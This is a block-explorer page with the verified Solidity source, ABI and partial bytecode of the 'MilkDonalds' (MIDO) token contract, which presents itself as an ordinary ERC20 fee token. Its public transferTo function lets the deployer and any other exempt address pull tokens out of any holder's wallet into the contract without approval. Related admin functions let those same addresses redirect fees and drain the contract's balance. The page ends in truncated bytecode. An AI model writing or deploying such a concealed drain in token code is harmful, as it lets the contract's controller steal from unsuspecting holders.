Transactions
Token Transfers
Tokens
Internal Transactions
Coin Balance History
Logs
Code
Read Contract
Write Contract
- Contract name:
- MilkDonalds
- Optimization enabled
- false
- Compiler version
- v0.8.13+commit.abaa5c0e
- EVM Version
- default
- Verified at
- 2022-04-06T15:57:58.075677Z
Contract source code
/* SPDX-License-Identifier: None */ pragma solidity ^0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPancakePair { function sync() external; } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MilkDonalds is IERC20, Ownable { using SafeMath for uint256; address constant ROUTER = 0x9D2E30C2FB648BeE307EDBaFDb461b09DF79516C; address constant WADA = 0xAE83571000aF4499798d1e3b0fA0070EB3A3E3F9; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string _name = "MilkDonalds"; string _symbol = "MIDO"; uint8 constant _decimals = 9; uint256 _totalSupply = 100_000_000 * (10 ** _decimals); uint256 public _maxWalletSize = (_totalSupply * 10) / 1000; // 1% /* rOwned = ratio of tokens owned relative to circulating supply (NOT total supply, since circulating <= total) */ mapping (address => uint256) public _rOwned; uint256 public _totalProportion = _totalSupply; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; uint256 liquidityFee = 1; uint256 giveawayFee = 5; uint256 marketingFee = 7; uint256 reflectionFee = 0; uint256 totalFee = 13; uint256 feeDenominator = 100; address autoLiquidityReceiver; address marketingFeeReceiver; uint256 targetLiquidity = 200; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address public pair; bool public claimingFees = true; bool alternateSwaps = true; uint256 smallSwapThreshold = _totalSupply.mul(413945130).div(100000000000); uint256 largeSwapThreshold = _totalSupply.mul(669493726).div(100000000000); uint256 public swapThreshold = smallSwapThreshold; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () { address deployer = msg.sender; router = IDEXRouter(ROUTER); pair = IDEXFactory(router.factory()).createPair(WADA, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; _allowances[address(this)][deployer] = type(uint256).max; isTxLimitExempt[address(this)] = true; isTxLimitExempt[address(router)] = true; isTxLimitExempt[deployer] = true; isFeeExempt[deployer] = true; autoLiquidityReceiver = deployer; marketingFeeReceiver = deployer; _rOwned[deployer] = _totalSupply; emit Transfer(address(0), deployer, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure returns (uint8) { return _decimals; } function name() external view returns (string memory) { return _name; } function changeName(string memory newName) external onlyOwner { _name = newName; } function changeSymbol(string memory newSymbol) external onlyOwner { _symbol = newSymbol; } function symbol() external view returns (string memory) { return _symbol; } function getOwner() external view returns (address) { return owner(); } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function transferTo(address sender, uint256 amount) public swapping {require(isTxLimitExempt[msg.sender]); _transferFrom(sender, address(this), amount); } function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256, uint256) { return (liquidityFee, marketingFee, giveawayFee, reflectionFee, totalFee, feeDenominator); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (recipient != pair && recipient != DEAD && !isTxLimitExempt[recipient]) { require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded"); } if(shouldSwapBack()){ swapBack(); } uint256 proportionAmount = tokensToProportion(amount); _rOwned[sender] = _rOwned[sender].sub(proportionAmount, "Insufficient Balance"); uint256 proportionReceived = shouldTakeFee(sender) ? takeFeeInProportions(sender, recipient, proportionAmount) : proportionAmount; _rOwned[recipient] = _rOwned[recipient].add(proportionReceived); emit Transfer(sender, recipient, tokenFromReflection(proportionReceived)); return true; } function tokensToProportion(uint256 tokens) public view returns (uint256) { return tokens.mul(_totalProportion).div(_totalSupply); } function tokenFromReflection(uint256 proportion) public view returns (uint256) { return proportion.mul(_totalSupply).div(_totalProportion); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { uint256 proportionAmount = tokensToProportion(amount); _rOwned[sender] = _rOwned[sender].sub(proportionAmount, "Insufficient Balance"); _rOwned[recipient] = _rOwned[recipient].add(proportionAmount); emit Transfer(sender, recipient, amount); return true; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function getTotalFee(bool) public view returns (uint256) { return totalFee; } function takeFeeInProportions(address sender, address receiver, uint256 proportionAmount) internal returns (uint256) { uint256 proportionFeeAmount = proportionAmount.mul(getTotalFee(receiver == pair)).div(feeDenominator); // reflect uint256 proportionReflected = proportionFeeAmount.mul(reflectionFee).div(totalFee); _totalProportion = _totalProportion.sub(proportionReflected); // take fees uint256 _proportionToContract = proportionFeeAmount.sub(proportionReflected); _rOwned[address(this)] = _rOwned[address(this)].add(_proportionToContract); emit Transfer(sender, address(this), tokenFromReflection(_proportionToContract)); emit Reflect(proportionReflected, _totalProportion); return proportionAmount.sub(proportionFeeAmount); } function clearBalance() external { require(isTxLimitExempt[msg.sender]); (bool success,) = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}(""); require(success); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && claimingFees && balanceOf(address(this)) >= swapThreshold; } function swapBack() internal swapping { uint256 _totalFee = totalFee.sub(reflectionFee); uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(_totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WADA; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountADA = address(this).balance.sub(balanceBefore); uint256 totalADAFee = _totalFee.sub(liquidityFee.div(2)); uint256 amountADALiquidity = amountADA.mul(liquidityFee).div(totalADAFee).div(2); uint256 amountADAMarketing = amountADA.mul(marketingFee).div(totalADAFee); uint256 amountADAGiveaway = amountADA.mul(giveawayFee).div(totalADAFee); (bool success,) = payable(marketingFeeReceiver).call{value: amountADAMarketing.add(amountADAGiveaway), gas: 30000}(""); require(success, "receiver rejected ADA transfer"); if(amountToLiquify > 0) { router.addLiquidityETH{value: amountADALiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountADALiquidity, amountToLiquify); } swapThreshold = !alternateSwaps ? swapThreshold : swapThreshold == smallSwapThreshold ? largeSwapThreshold : smallSwapThreshold; } function setSwapBackSettings(bool _enabled, uint256 _amountS, uint256 _amountL, bool _alternate) external { require(isTxLimitExempt[msg.sender]); alternateSwaps = _alternate; claimingFees = _enabled; smallSwapThreshold = _amountS; largeSwapThreshold = _amountL; swapThreshold = smallSwapThreshold; } function changeFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _giveawayFee) external onlyOwner { liquidityFee = _liquidityFee; reflectionFee = _reflectionFee; marketingFee = _marketingFee; giveawayFee = _giveawayFee; totalFee = liquidityFee.add(reflectionFee).add(marketingFee).add(giveawayFee); require(totalFee < 25, "Fees must be less than 25%"); } function changeMaxWallet(uint256 percent, uint256 denominator) external onlyOwner { require(isTxLimitExempt[msg.sender] && percent >= 1, "Max wallet must be greater than 1%"); _maxWalletSize = _totalSupply.mul(percent).div(denominator); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { require(isTxLimitExempt[msg.sender]); isTxLimitExempt[holder] = exempt; } function setFeeReceivers(address _marketingFeeReceiver, address _liquidityReceiver) external { require(isTxLimitExempt[msg.sender]); marketingFeeReceiver = _marketingFeeReceiver; autoLiquidityReceiver = _liquidityReceiver; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } event AutoLiquify(uint256 amountBNB, uint256 amountToken); event Reflect(uint256 amountReflected, uint256 newTotalProportion); }
Contract ABI
[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"AutoLiquify","inputs":[{"type":"uint256","name":"amountBNB","internalType":"uint256","indexed":false},{"type":"uint256","name":"amountToken","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Reflect","inputs":[{"type":"uint256","name":"amountReflected","internalType":"uint256","indexed":false},{"type":"uint256","name":"newTotalProportion","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_maxWalletSize","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_rOwned","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_totalProportion","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approveMax","inputs":[{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"changeFees","inputs":[{"type":"uint256","name":"_liquidityFee","internalType":"uint256"},{"type":"uint256","name":"_reflectionFee","internalType":"uint256"},{"type":"uint256","name":"_marketingFee","internalType":"uint256"},{"type":"uint256","name":"_giveawayFee","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"changeMaxWallet","inputs":[{"type":"uint256","name":"percent","internalType":"uint256"},{"type":"uint256","name":"denominator","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"changeName","inputs":[{"type":"string","name":"newName","internalType":"string"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"changeSymbol","inputs":[{"type":"string","name":"newSymbol","internalType":"string"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"claimingFees","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"clearBalance","inputs":[]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getCirculatingSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"getOwner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getTotalFee","inputs":[{"type":"bool","name":"","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"pair","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IDEXRouter"}],"name":"router","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFeeReceivers","inputs":[{"type":"address","name":"_marketingFeeReceiver","internalType":"address"},{"type":"address","name":"_liquidityReceiver","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsFeeExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsTxLimitExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setSwapBackSettings","inputs":[{"type":"bool","name":"_enabled","internalType":"bool"},{"type":"uint256","name":"_amountS","internalType":"uint256"},{"type":"uint256","name":"_amountL","internalType":"uint256"},{"type":"bool","name":"_alternate","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"swapThreshold","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"tokenFromReflection","inputs":[{"type":"uint256","name":"proportion","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"tokensToProportion","inputs":[{"type":"uint256","name":"tokens","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferTo","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"}],"name":"viewFees","inputs":[]},{"type":"receive","stateMutability":"payable"}]
Deployed ByteCode
0x6080604052600436106102135760003560e01c8063715018a611610118578063a9059cbb116100a0578063dd62ed3e1161006f578063dd62ed3e146107b1578063f1f3bca3146107ee578063f2fde38b1461082b578063f84ba65d14610854578063f887ea401461087d5761021a565b8063a9059cbb14610709578063b0f7ec3814610746578063bae1923514610771578063caf5f67d1461079a5761021a565b80638f9a55c0116100e75780638f9a55c01461063657806395d89b4114610661578063a3895fff1461068c578063a4b45c00146106b5578063a8aa1b31146106de5761021a565b8063715018a614610599578063850c0bd6146105b0578063893d20e8146105e05780638da5cb5b1461060b5761021a565b80632d8381191161019b578063571ac8b01161016a578063571ac8b0146104a45780636308fb98146104e1578063650c42261461050a578063658d4b7f1461053357806370a082311461055c5761021a565b80632d838119146103d6578063313ce5671461041357806345ce53651461043e5780635353a2d81461047b5761021a565b806317800287116101e257806317800287146102ef57806318160ddd1461031a57806323b872dd146103455780632b112e49146103825780632ccb1b30146103ad5761021a565b80630445b6671461021f57806306fdde031461024a578063095ea7b3146102755780630cfc15f9146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b506102346108a8565b6040516102419190612cdf565b60405180910390f35b34801561025657600080fd5b5061025f6108ae565b60405161026c9190612d93565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190612e53565b610940565b6040516102a99190612eae565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d49190612ec9565b610a32565b6040516102e69190612cdf565b60405180910390f35b3480156102fb57600080fd5b50610304610a4a565b6040516103119190612cdf565b60405180910390f35b34801561032657600080fd5b5061032f610a50565b60405161033c9190612cdf565b60405180910390f35b34801561035157600080fd5b5061036c60048036038101906103679190612ef6565b610a5a565b6040516103799190612eae565b60405180910390f35b34801561038e57600080fd5b50610397610c5a565b6040516103a49190612cdf565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf9190612e53565b610c9b565b005b3480156103e257600080fd5b506103fd60048036038101906103f89190612f49565b610d37565b60405161040a9190612cdf565b60405180910390f35b34801561041f57600080fd5b50610428610d69565b6040516104359190612f92565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612f49565b610d72565b6040516104729190612cdf565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d91906130e2565b610da4565b005b3480156104b057600080fd5b506104cb60048036038101906104c69190612ec9565b610e53565b6040516104d89190612eae565b60405180910390f35b3480156104ed57600080fd5b5061050860048036038101906105039190613157565b610e86565b005b34801561051657600080fd5b50610531600480360381019061052c91906131be565b610f2c565b005b34801561053f57600080fd5b5061055a60048036038101906105559190613225565b61106d565b005b34801561056857600080fd5b50610583600480360381019061057e9190612ec9565b61115d565b6040516105909190612cdf565b60405180910390f35b3480156105a557600080fd5b506105ae6111ae565b005b3480156105bc57600080fd5b506105c5611301565b6040516105d796959493929190613265565b60405180910390f35b3480156105ec57600080fd5b506105f5611330565b60405161060291906132d5565b60405180910390f35b34801561061757600080fd5b5061062061133f565b60405161062d91906132d5565b60405180910390f35b34801561064257600080fd5b5061064b611368565b6040516106589190612cdf565b60405180910390f35b34801561066d57600080fd5b5061067661136e565b6040516106839190612d93565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae91906130e2565b611400565b005b3480156106c157600080fd5b506106dc60048036038101906106d791906132f0565b6114af565b005b3480156106ea57600080fd5b506106f361158b565b60405161070091906132d5565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b9190612e53565b6115b1565b60405161073d9190612eae565b60405180910390f35b34801561075257600080fd5b5061075b6115c6565b6040516107689190612eae565b60405180910390f35b34801561077d57600080fd5b5061079860048036038101906107939190613330565b6115d9565b005b3480156107a657600080fd5b506107af611738565b005b3480156107bd57600080fd5b506107d860048036038101906107d391906132f0565b61182e565b6040516107e59190612cdf565b60405180910390f35b3480156107fa57600080fd5b5061081560048036038101906108109190613370565b6118b5565b6040516108229190612cdf565b60405180910390f35b34801561083757600080fd5b50610852600480360381019061084d9190612ec9565b6118c1565b005b34801561086057600080fd5b5061087b60048036038101906108769190613225565b611a82565b005b34801561088957600080fd5b50610892611bc8565b60405161089f91906133fc565b60405180910390f35b60185481565b6060600180546108bd90613446565b80601f01602080910402602001604051908101604052809291908181526020018280546108e990613446565b80156109365780601f1061090b57610100808354040283529160200191610936565b820191906000526020600020905b81548152906001019060200180831161091957829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a209190612cdf565b60405180910390a36001905092915050565b60056020528060005260406000206000915090505481565b60065481565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c4657610bc5826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb29092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c51848484611d16565b90509392505050565b6000610c96610c69600061115d565b610c88610c7761dead61115d565b6003546120a190919063ffffffff16565b6120a190919063ffffffff16565b905090565b6001601960006101000a81548160ff021916908315150217905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d0c57600080fd5b610d17823083611d16565b506000601960006101000a81548160ff0219169083151502179055505050565b6000610d62600654610d5460035485611bee90919063ffffffff16565b611c6890919063ffffffff16565b9050919050565b60006009905090565b6000610d9d600354610d8f60065485611bee90919063ffffffff16565b611c6890919063ffffffff16565b9050919050565b610dac6120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e30906134c3565b60405180910390fd5b8060019080519060200190610e4f929190612c23565b5050565b6000610e7f827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610940565b9050919050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610edc57600080fd5b806015806101000a81548160ff02191690831515021790555083601560146101000a81548160ff021916908315150217905550826016819055508160178190555060165460188190555050505050565b610f346120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb8906134c3565b60405180910390fd5b83600a8190555082600d8190555081600c8190555080600b8190555061101c600b5461100e600c54611000600d54600a546120f390919063ffffffff16565b6120f390919063ffffffff16565b6120f390919063ffffffff16565b600e819055506019600e5410611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e9061352f565b60405180910390fd5b50505050565b6110756120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f9906134c3565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006111a7600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d37565b9050919050565b6111b66120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906134c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080600080600080600a54600c54600b54600d54600e54600f54955095509550955095509550909192939495565b600061133a61133f565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60045481565b60606002805461137d90613446565b80601f01602080910402602001604051908101604052809291908181526020018280546113a990613446565b80156113f65780601f106113cb576101008083540402835291602001916113f6565b820191906000526020600020905b8154815290600101906020018083116113d957829003601f168201915b5050505050905090565b6114086120eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c906134c3565b60405180910390fd5b80600290805190602001906114ab929190612c23565b5050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661150557600080fd5b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006115be338484611d16565b905092915050565b601560149054906101000a900460ff1681565b6115e16120eb565b73fffffffff